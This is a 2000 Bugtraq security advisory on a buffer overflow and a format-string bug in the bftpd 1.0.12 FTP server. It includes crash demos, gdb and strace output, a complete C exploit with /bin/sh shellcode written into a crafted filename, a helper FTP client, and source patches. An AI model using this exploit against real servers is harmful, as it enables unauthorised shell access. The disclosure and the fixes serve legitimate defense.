5842416 2000-12-08 05:02 +0100  /555 rader/ BAILLEUX Christophe <cb@GROLIER.FR>
Bilagans filnamn: "bftpd-advisory.txt"
Importerad: 2000-12-11  02:38  av Brevbäraren (som är implementerad i) Python
Extern mottagare: BUGTRAQ@SECURITYFOCUS.COM
Externa svar till: cb@GROLIER.FR
Mottagare: Bugtraq (import) <14145>
Bilaga (text/plain) till text 5842415
Ärende: Bilaga (bftpd-advisory.txt) till: More security problems in bftpd-1.0.12. Thanx ASYNCHRO
------------------------------------------------------------
 (asynchro@PKCREW.ORG)
Subject         : Potential security problem in bftpd (Buffer Overflow and format bug)
Author          : Christophe BAILLEUX (cb@grolier.fr)
Greetings	: Greetings  to ASYNCHRO (asynchro@PKCREW.ORG) for his first advisory
Plateforms      : *nix
Test version    : bftpd-1.0.12


I.      Introduction

bftpd is a Linux FTP server with chroot and setreuid. Not all FTP
commands are included.  It accesses either the user's home directory
or its.  ftp subdirectory, and user authentication is via
passwd/shadow or PAM.



II.      Problem

The lastest version of BFTPD has potentials security problems in the
fuctions "sendstrf" and "dirlist" inside the "distlir.c" file when
the generated file by the output of  the LIST and NLST commands is
above 200 chars or holds strings form type %p%p%p%p




III.     Details/Demo


A) Code problem

bftpd-1.0.12/dirlist.c

 - In the function "sendstrf"

    21  int sendstrf(int s, char *format, ...) {
    22    va_list val;
    23    char buffer[256];
    24    va_start(val, format);
    25    vnprintf(buffer,  format, val);  // Buffer Overflow  
    26    va_end(val);
    27    return send(s, buffer, strlen(buffer), 0);
    28  }

 - In the function "dirlist"

    60        else
    61          foo = 1;
    62        sendstrf(s, entry->d_name); // Format Bug
    63      }


B) Demo / gdb output

 a)  Buffer overflow in the LIST command
    
   1- demo

tshaw:~/longfile$ pwd    

/home/cb/longfile

tshaw:~/longfile$ touch `perl -e 'print "A"x213'`
tshaw:~/longfile$ ls

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Connected to localhost.
220 bftpd 1.0.12 at 127.0.0.1 ready.
Name (localhost:cb): cb
331 Password please.
Password:
230 User logged in.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> cd longfile
250 OK
ftp> ls
200 PORT 127.0.0.1:1858 OK
150 Data connection established.
drwxr-xr-x   2 1000     100          4096 Dec  8 02:53 .
drwxr-xr-x  55 1000     100          4096 Dec  8 02:48 ..
-rw-r--r--   1 1000     100             0 Dec  8 02:53 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
421 Service not available, remote server has closed connection
ftp> 


    2- gdb output

tshaw:/home/cb# gdb /usr/sbin/bftpd 29751 GNU gdb 5.0 Copyright 2000
Free Software Foundation, Inc.  GDB is free software, covered by the
GNU General Public License, and you are welcome to change it and/or
distribute copies of it under certain conditions.  Type "show
copying" to see the conditions.  There is absolutely no warranty for
GDB.  Type "show warranty" for details.  This GDB was configured as
"i386-slackware-linux"...  /home/cb/29751: No such file or directory.
Attaching to program: /usr/sbin/bftpd, Pid 29751 Reading symbols from
/lib/libcrypt.so.1...done.  Loaded symbols for /lib/libcrypt.so.1
Reading symbols from /lib/libc.so.6...done.  Loaded symbols for
/lib/libc.so.6 Reading symbols from /lib/ld-linux.so.2...done.
Loaded symbols for /lib/ld-linux.so.2 Reading symbols from
/lib/libnss_compat.so.2...done.  Loaded symbols for
/lib/libnss_compat.so.2 Reading symbols from /lib/libnsl.so.1...done.
Loaded symbols for /lib/libnsl.so.1 0x400e7514 in read () from
/lib/libc.so.6 (gdb) c Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) x $esp
0xbffffadc:     0x41414141
(gdb)


 b)  Format bug in the NLST command

   1- demo

tshaw:~/longfile$ touch "%p%p%p%p%p%p%p%p%p%p"

Connected to localhost.  220 bftpd 1.0.12 at 127.0.0.1 ready.  Name
(localhost:cb): cb 331 Password please.  Password: 230 User logged
in.  Remote system type is UNIX.  Using binary mode to transfer
files.  ftp> cd longfile 250 OK ftp> nlist 200 PORT 127.0.0.1:1865 OK
150 Data connection established.
.
.. 0xbffffd080x8049e500x804bb41(nil)(nil)0x10000000x804f4d8(nil)(nil)0x49
226 Directory list has been submitted.  ftp>




tshaw:~/longfile$ touch "%s%s%s%s%s%s%s"

Connected to localhost.
220 bftpd 1.0.12 at 127.0.0.1 ready.
Name (localhost:cb): cb
331 Password please.
Password:
230 User logged in.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> cd longfile
250 OK
ftp> ls
200 PORT 127.0.0.1:1869 OK
150 Data connection established.
drwxr-xr-x   2 1000     100          4096 Dec  8 03:00 .
drwxr-xr-x  55 1000     100          4096 Dec  8 02:48 ..
-rw-r--r--   1 1000     100             0 Dec  8 03:00 %s%s%s%s%s%s%s
226 Directory list has been submitted.
ftp> nlist
200 PORT 127.0.0.1:1871 OK
150 Data connection established.
. .. 421 Service not available, remote server has closed connection
ftp> 


    2- gdb output

tshaw:/home/cb# gdb /usr/sbin/bftpd 29526 GNU gdb 5.0 Copyright 2000
Free Software Foundation, Inc.  GDB is free software, covered by the
GNU General Public License, and you are welcome to change it and/or
distribute copies of it under certain conditions.  Type "show
copying" to see the conditions.  There is absolutely no warranty for
GDB.  Type "show warranty" for details.  This GDB was configured as
"i386-slackware-linux"...  /home/cb/29526: No such file or directory.
Attaching to program: /usr/sbin/bftpd, Pid 29526 Reading symbols from
/lib/libcrypt.so.1...done.  Loaded symbols for /lib/libcrypt.so.1
Reading symbols from /lib/libc.so.6...done.  Loaded symbols for
/lib/libc.so.6 Reading symbols from /lib/ld-linux.so.2...done.
Loaded symbols for /lib/ld-linux.so.2 Reading symbols from
/lib/libnss_compat.so.2...done.  Loaded symbols for
/lib/libnss_compat.so.2 Reading symbols from /lib/libnsl.so.1...done.
Loaded symbols for /lib/libnsl.so.1 0x400e7514 in read () from
/lib/libc.so.6 (gdb) c  Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x4008d196 in vfprintf () from /lib/libc.so.6
(gdb) where
#0  0x4008d196 in vfprintf () from /lib/libc.so.6
#1  0x40099f76 in vsnprintf () from /lib/libc.so.6
#2  0x804a417 in sendstrf (s=4, format=0x804f577 "%s%s%s%s%s%s")
    at dirlist.c:26
#3  0x804a670 in dirlist (name=0x804b64b ".", s=4, verbose=0 '\000')
    at dirlist.c:63
#4  0x8049e55 in do_dirlist (dirname=0xbffffd08 "", verbose=0 '\000')
    at commands.c:314
#5  0x8049e95 in command_nlst (dirname=0xbffffd08 "") at commands.c:324
#6  0x804a37c in parsecmd (str=0xbffffd08 "") at commands.c:482
#7  0x804ad2a in main (argc=1, argv=0xbffffe54) at main.c:129
#8  0x400602e7 in __libc_start_main () from /lib/libc.so.6
(gdb)





IV.      Exploit and Demo


It's not possible to exploit it with a standart exploit...
bftpd-1.0.12/login.c  contains a piece of code using the "chroot" and
setregid functions, and denying the  execution of  /bin/sh or another
programz by  a local user.

    41    if(chroot(str)) {
    42      fprintf(stderr, "421 Unable to change root directory.\r\n");
    43      exit(0);
    44    }


The remote exploit it's not possible. See the first message da
asynchro :)


With the following exploit, I can request bftpd (run by the user
"cb") to run the /bin/sh command.







-- BEGIN exploit.c --

/*                                                                                                                                             
Creates a filname to exploit the bug in bftpd 1.0.12                                                                                           
Create the file, cwd in the shell directory and nlist the file directory.  

Coded by korty <cb@grolier.fr>
*/

#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <fcntl.h>


#define LEN 205

int main (int argc, char **argv)
{
  char buf[LEN + 12];
  int  ret = 0xbffffa80;
  int  *p;
  int  fp;
  
  char code[]=

 /*
  *  Linux/x86
  *
  *  toupper() evasion, standard execve() /bin/sh (used eg. in various
  *  imapd exploits). Goes through a loop adding 0x20 to the 
  *  (/bin/sh -= 0x20) string (ie. yields /bin/sh after addition).
  */

  /* main: */
  "\xeb\x29"                            /* jmp callz                   */
  /* start: */
  "\x5e"                                /* popl %esi                   */
  "\x29\xc9"                            /* subl %ecx, %ecx             */
  "\x89\xf3"                            /* movl %esi, %ebx             */
  "\x89\x5e\x08"                        /* movl %ebx, 0x08(%esi)       */
  "\xb1\x07"                            /* movb $0x07, %cl             */
  /* loopz: */
  "\x80\x03\x20"                        /* addb $0x20, (%ebx)          */
  "\x43"                                /* incl %ebx                   */
  "\xe0\xfa"                            /* loopne loopz                */
  "\x29\xc0"                            /* subl %eax, %eax             */
  "\x88\x46\x07"                        /* movb %al, 0x07(%esi)        */
  "\x89\x46\x0c"                        /* movl %eax, 0x0c(%esi)       */
  "\xb0\x0b"                            /* movb $0x0b, %al             */
  "\x87\xf3"                            /* xchgl %esi, %ebx            */
  "\x8d\x4b\x08"                        /* leal 0x08(%ebx), %ecx       */
  "\x8d\x53\x0c"                        /* leal 0x0c(%ebx), %edx       */
  "\xcd\x80"                            /* int $0x80                   */
  "\x29\xc0"                            /* subl %eax, %eax             */
  "\x40"                                /* incl %eax                   */
  "\xcd\x80"                            /* int $0x80                   */
  /* callz: */
  "\xe8\xd2\xff\xff\xff"                /* call start                  */
  "\x0f\x42\x49\x4e\x0f\x53\x48";       /* /bin/sh -= 0x20             */



  if (argc > 1) {
    ret += atoi(argv[1]);
    fprintf(stderr, "Using ret %#010x\n", ret);
  }

  memset(buf, '\x90', LEN);
  memcpy(buf + LEN - strlen(code), code, strlen(code));

  p = (int *) (buf + LEN);

  *p++ = ret;
  *p++ = ret;
  *p   = 0;

  fp = open(buf, O_CREAT);
  if(fp < 0) perror("buf");
  close(fp);

}


-- END exploit.c --







Run netcat on the port 1028 (nc -l -p 1028)
and use that program 











-- BEGIN list.c --


#include <stdio.h>

int main()

{

#define USER "cb"
#define PASS "PasSwoRd"
#define PORT "port 127,0,0,1,4,4"  // Data on the port 1028 with the addr 127.0.0.1
#define CWD "cwd longfile"
#define LIST "list"

printf("user %s\n", USER);
sleep(1);
printf("pass %s\n", PASS);
sleep(1);
printf("%s\n", PORT);
sleep(1);
printf("%s\n", CWD);
sleep(1);
printf("%s\n", LIST);

}


-- END list.c --







  A)  DEMO  


tshaw:~/longfile$ gcc -o exploit exploit.c  tshaw:~/longfile$ ls
exploit*  exploit.c  list.c tshaw:~/longfile$ ls exploit*  exploit.c
list.c tshaw:~/longfile$ ./exploit  tshaw:~/longfile$ ls exploit*
exploit.c list.c
\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220
\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220
\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220
\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220
\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220
\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220
\220\220\220\220\220\220\220\220\220\220\220\220\313)^)\311\211\323\211^\b\221\a\200\003\
C
\300\332)\300\210F\a\211F\f\220\v\203\323\211K\b\211S\f\311\200)\300\@\311\200\310\322\333
\333\333\013BIN\013SH\200\332\333\233\200\332\333\233*
tshaw:~/longfile$

tshaw:~/longfile$ gcc -o list list.c

tshaw:~/longfile$ nc -l -p 1028 &
[1] 29973
tshaw:~/longfile$ 


tshaw:~/longfile$ (./list ; cat) | nc localhost 21
220 bftpd 1.0.12 at 127.0.0.1 ready.
331 Password please.
230 User logged in.
200 PORT 127.0.0.1:1028 OK
250 OK

150 Data connection established.
drwxr-xr-x   2 1000     100          4096 Dec  8 04:06 .
drwxr-xr-x  55 1000     100          4096 Dec  8 04:02 ..
-rw-r--r--   1 1000     100           323 Dec  8 04:06 list.c
-rwxr-xr-x   1 1000     100         11931 Dec  8 04:06 list
-rw-r--r--   1 1000     100          2178 Dec  8 03:54 exploit.c
-rwxr-xr-x   1 1000     100         12861 Dec  8 03:56 exploit
-r-xr--r--   1 1000     100             0 Dec  8 03:56 

ë)^)ɉ󉱀 Càú)ÀˆF‰F
                                                                 °
                                                                  ‡óS
                                                                       ̀)À@̀èÒÿÿÿBINSH€úÿ¿€úÿ¿

[1]+  Done                    nc -l -p 1028
tshaw:~/longfile$ 



   B)  STRACE OUTPUT


tshaw:~# ps -aef |grep bftpd

cb       30128    62  0 Dec04 ?        00:00:00 bftpd
root     30136 30024  0 Dec04 ttyqa    00:00:00 grep bftpd

tshaw:~# strace -p 30128

read(0, "\n", 4096)                     = 1
socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 4
setsockopt(4, SOL_SOCKET, SO_REUSEADDR, [1], 4) = 0
setsockopt(4, SOL_SOCKET, SO_SNDBUF, [65536], 4) = 0
bind(4, {sin_family=AF_INET, sin_port=htons(0), sin_addr=inet_addr("127.0.0.1")}}, 16) = 0
connect(4, {sin_family=AF_INET, sin_port=htons(1028), sin_addr=inet_addr("127.0.0.1")}}, 16) = 0
write(2, "150 Data connection established."..., 34) = 34
open("/dev/null", O_RDONLY|O_NONBLOCK|0x10000) = -1 ENOENT (No such file or directory)
stat(".", {st_mode=S_IFDIR|0755, st_size=4096, ...}) = 0
open(".", O_RDONLY|O_NONBLOCK|0x10000)  = 5
fstat(5, {st_mode=S_IFDIR|0755, st_size=4096, ...}) = 0
fcntl(5, F_SETFD, FD_CLOEXEC)           = 0
brk(0x8052000)                          = 0x8052000
getdents(5, /* 7 entries */, 3933)      = 328
stat("./.", {st_mode=S_IFDIR|0755, st_size=4096, ...}) = 0
send(4, "drwxr-xr-x   2 1000     100     "..., 58, 0) = 58
stat("./..", {st_mode=S_IFDIR|0755, st_size=4096, ...}) = 0
send(4, "drwxr-xr-x  55 1000     100     "..., 59, 0) = 59
stat("./list.c", {st_mode=S_IFREG|0644, st_size=323, ...}) = 0
send(4, "-rw-r--r--   1 1000     100     "..., 63, 0) = 63
stat("./list", {st_mode=S_IFREG|0755, st_size=11931, ...}) = 0
send(4, "-rwxr-xr-x   1 1000     100     "..., 61, 0) = 61
stat("./exploit.c", {st_mode=S_IFREG|0644, st_size=2178, ...}) = 0
send(4, "-rw-r--r--   1 1000     100     "..., 66, 0) = 66
stat("./exploit", {st_mode=S_IFREG|0755, st_size=12861, ...}) = 0
send(4, "-rwxr-xr-x   1 1000     100     "..., 64, 0) = 64
stat("./
ë)^)ɉ󉱀 Càú)ÀˆF‰F
                  °
                   ‡óS
                        ̀)À@̀èÒÿÿÿBINSH€úÿ¿€úÿ¿", {st_mode=S_IFREG|S_ISUID|0544, st_size=0, ...}) = 0
send(4, "-r-xr--r--   1 1000     100     "..., 270, 0) = 270
execve("/bin/sh", ["/bin/sh"], [/* 0 vars */]) = -1 ENOENT (No such file or directory)
_exit(-1073743151)                      = ?

tshaw:~# 

 
If i disable the chroot function in login.c, the exploit works.









V.      Workaround


A)  Buffer Overflow


In bftpd-1.0.11/dirlist.c

Modify the line 25 

 vsprintf(buffer, format, val);

by

 vsnprintf(buffer, sizeof(buffer), format, val);



B)   Format Bug


In bftpd-1.0.11/dirlist.c
                
Modify the line 62 
                
 sendstrf(s, entry->d_name);                

by                             
 
 sendstrf(s, "%s", entry->d_name);







VI.     Greetings :)

Greetings to :

Asynchro for your advisory :)
DV for your help.
NoldErisE for the translation. My english sux... :)
Deda Team.
kalou.
Ouaou ki fait le Ouaou!@#.
Clebi Clebo
And hummmmmmm my mother :)


Best Regards,
(5842416) --------------------------------(Ombruten)